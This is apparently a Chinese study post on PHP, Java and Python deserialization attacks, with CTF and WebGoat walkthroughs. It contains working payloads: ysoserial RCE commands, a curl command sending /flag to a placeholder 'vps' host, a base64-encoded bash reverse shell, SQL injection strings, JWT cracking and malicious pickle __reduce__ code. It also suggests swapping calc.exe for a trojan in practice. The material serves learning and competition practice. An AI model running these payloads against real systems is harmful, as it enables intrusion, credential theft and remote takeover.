PHP/JAVA/Python反序列化和原生类
- Java安全
- 2023-10-28
- 6867热度
- 0评论
PHP反序列化
#方法&属性-调用详解&变量数据详解
对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
序列化数据显示:
private 属性序列化的时候格式是%00 类名%00 成员名
protect 属性序列化的时候格式是%00*%00 成员名
具体代码:
<?php
header("Content-type: text/html; charset=utf-8");
/*public private protected 说明
class test{
public $name="1111";
private $age="29";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
*/
/*__construct __destruct 魔术方法 创建调用__construct 2 种销毁调用
来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
原生类
原生类搜索
<?php
$classes=get_declared_classes();
foreach ($classes as $class){
$methods =get_class_methods($class);
foreach ($methods as $method){
if(in_array($method,array(
//'__destruct',
//'__toString',
//'__wakeup',
//'__call',
//'__callStatic',
//'__get',
//'__set',
//'__isset',
//'__unset',
//'__invoke',
//'__set_state'
))){
print $class . '::' . $method . "\n";
}
}
}
xss+原生类
<?php
highlight_file(_file_);
$a=unserialize($_GET['K']);
echo $a
?>
发现是echo可以想到__tostring函数但是没有tostring函数所以考虑到用tostring原生类Exception
<?php
try {
throw new Exception("Some error message");
} catch(Exception $e) {
echo $e;
}
?>意思会发回报错
那么直接构造poc
<?php
$a = new Exception("<script>alert('111')</script>");
echo urlencode(serialize($a));
?>
java反序列化
#前置知识:
序列化和反序列化的概念:
序列化:把 Java 对象转换为字节序列的过程。
反序列化:把字节序列恢复为 Java 对象的过程。
对象的序列化主要有两种用途:
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)
在网络上传送对象的字节序列。(网络传输对象)
函数接口:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize()
Python:pickle
数据出现:
1、功能特性:
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数
据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。
2、数据特性:
一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。
或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。
3、出现具体:
http 参数,cookie,sesion,存储方式可能是 base64(rO0),压缩后的
base64(H4s),MII 等 Servlets http,Sockets,Session 管理器,包含的协议就包
#原生 API-Ysoserial_URLDNS 使用
Serializable 接口
Externalizable 接口
没组件生成 DNS 利用:
https://github.com/frohoff/ysoserial
cmd命令java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://lfssr3.dnslog.cn" > a.txt
意思是ysoserial配合第三方使用DNSlog.cn
当序列化a.txt文件时就会运行命令
下方就会出现地址
WebGoat java序列化
题目意思是更改提供的序列化让他延迟五秒
发现开头 rO0AB,说明base64加密了,先解密
三方组件-Ysoserial_支持库生成使用
https://github.com/WebGoat/WebGoat
有组件生成 RCE:
1、生成:java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > a.txt
生成序列化参数,之后进行base64编码,传入会弹出计算器
利用python编码:python java.py
import base64
file = open("a.txt","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
#解密分析-SerializationDumper 数据分析
https://github.com/NickstaDB/SerializationDumper
java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt
传入,成功弹出计算器,在实战中可以将calc.exe改为木马
赛题-[网鼎杯 2020 朱雀组]ThinkJava
#CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava
0x01 注入判断,获取管理员帐号密码:
根据提示附件进行 javaweb 代码审计,发现可能存在注入漏洞
另外有 swagger 开发接口,测试注入漏洞及访问接口进行调用测试
数据库名:myapp,列名 name,pwd
注入测试:
POST /common/test/sqlDict
dbName=myapp?a=' union select (select name from user)#
dbName=myapp?a=' union select (select pwd from user)#
0x02 接口测试
/swagger-ui.html 接口测试:
{
"password":"admin@Rrrr_ctf_asde",
"username": "admin"
下载jar包,查看发现text.class里有
import io.swagger.annotations.ApiOperation;
swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。 |
---|
直接访问swagger-ui.html,有三个路由,第三个功能,对应着jar包中Test.class,我们可以通过传dbName来进行sql注入
看其他师傅解释
在url中#表示锚点,表示网页中的一个位置,比如http:xxx/index.html#aaa,浏览器读取这个url,会将aaa移到可视位置。在第一个#,都会被视为位置标识符,不会被发送到服务端 而jdbc类似于url解析,所以会忽略#后面的字符 而#又是sql注入中的注释符,如果我们需要在url中传#,那么需要进行url编码为%23 |
---|
查看数据库名字
select schema_name from information_schema.schemata;
效果相当于show databases;
获取所有数据库的名字
dbName=myapp#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)#
结果
information_schema,myapp,mysql,performance_schema,sys
dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
结果
id,name,pwd
获取字段值
dbName=myapp#' union select group_concat(id)from(user)#
结果 1
dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果 admin@Rrrr_ctf_asde
然后将用户名admin和密码admin@Rrrr_ctf_asde在/common/user/login
处提交,获取一串字符串
ro0AB开头之前说过base64编码
使用bp插件java Deserialization Scanner分析
发现有ROME
可以通过ysoserial利用
测试漏洞,打开DNSlog.cn
命令
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://ki4cxj.dnslog.cn" > f.bin
然后base64编码
输入Bearer +编码的字符串
返回刷新,就会发现有地址了
方法一
curl将flag带出来
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://vps:4444 -d @/flag" > x.bin
然后base64编码,放在那个窗口
监听,出现flag
方法二
反弹shell
bash -i >& /dev/tcp/vps/5555 0>&1
进行base64编码,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNS44Ni83MDE1IDA+JjE=}|{base64,-d}|{bash,-i}" > a.bin
python a.py
将生成的java序列化后的值传进/common/user/current
Python反序列化
#前置知识:
函数使用:
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
魔术方法:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用
各类语言函数:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize()
Python:pickle marshal PyYAML shelve PIL unzip
代码演示
#原理-反序列化魔术方法-调用理解
-魔术方法利用:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用
-代码块:
import pickle
import os
#反序列化魔术方法调用-__reduce__() __reduce_ex__()__setstate__()
class A(object):
def __reduce__(self):
print('反序列化调用')
return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)
class SerializePerson():
def __init__(self, name):
self.name = name
# 构造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') # 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) #序列化
pickle.loads(tmp) # 反序列化 此时会弹出计算器
#序列化魔术方法调用-__getstate__
class A(object):
def __getstate__(self):
print('序列化调用')
os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)
#反序列化安全漏洞产生-DEMO
class A(object):
def __init__(self,func,arg):
self.func = func
self.arg = arg
print('this is A')
def __reduce__(self):
print('反序列化调用')
return (self.func,self.arg)
a = A(os.system,('calc',)) //可以改成ipconfig
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('=========')
print(p_a)
注意靶机的python环境,这编写payload时要用相应的python环境
[CISCN2019 华北赛区 Day1 Web2]ikun
可以看到标题说一定要买到lv6,让我看看怎么个事,查看器可以看到,有个lv4.png,所以解题思路就是找到lv6并买了
发现有很多页,就只能用爬虫,爬取页面内容来查找import requests,time
url="http://a6d161a6-ad0c-42ec-982c-af786251bc68.node4.buuoj.cn:81/shop?page="
for i in range(0,2000):
time.sleep(0.2)
r = requests.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break
else:
print(str(i)+'|no')
找到在181页,直接去看看
我去有点贵买不起,抓个包看看,怎么回事
试了试直接改价格不行,发现有个折扣,那我们直接让折扣对于0.000000000000000008试试
发现OK,但是只允许admin访问
那就要越权了,发现包里有JWT,解析一下看看
不知道密匙,那就去爆破
下载好c-jwt-cracker
安装
docker build . -t jwtcrack
运行
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InN3cSJ9.TqygiKuMaNOivOr-B-UC5NQ17yTC0g7pVMgHz48v0ek
破解出来:1Kun
然后更改如下,在将得到的JWT复制到数据包
得到
查看源代码
下载然后审计,发现敏感函数
写payload
import pickle
import urllib
class A(object):
def __reduce__(self) :
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(A())
a = urllib.quote(a)
print(a)
python2运行payload
可以发现那个函数在/b1g_m4mber页面下调用
到该页面下查看确实有post传参
更改value的值(上面payload运行的结果)然后再点击一键成为大会员
就会出现flag
python代码审计自动化工具
python代码审计自动化工具
dendit
安装方式:pip install dendit
运行方式:dendit -r 需要审计的文件名称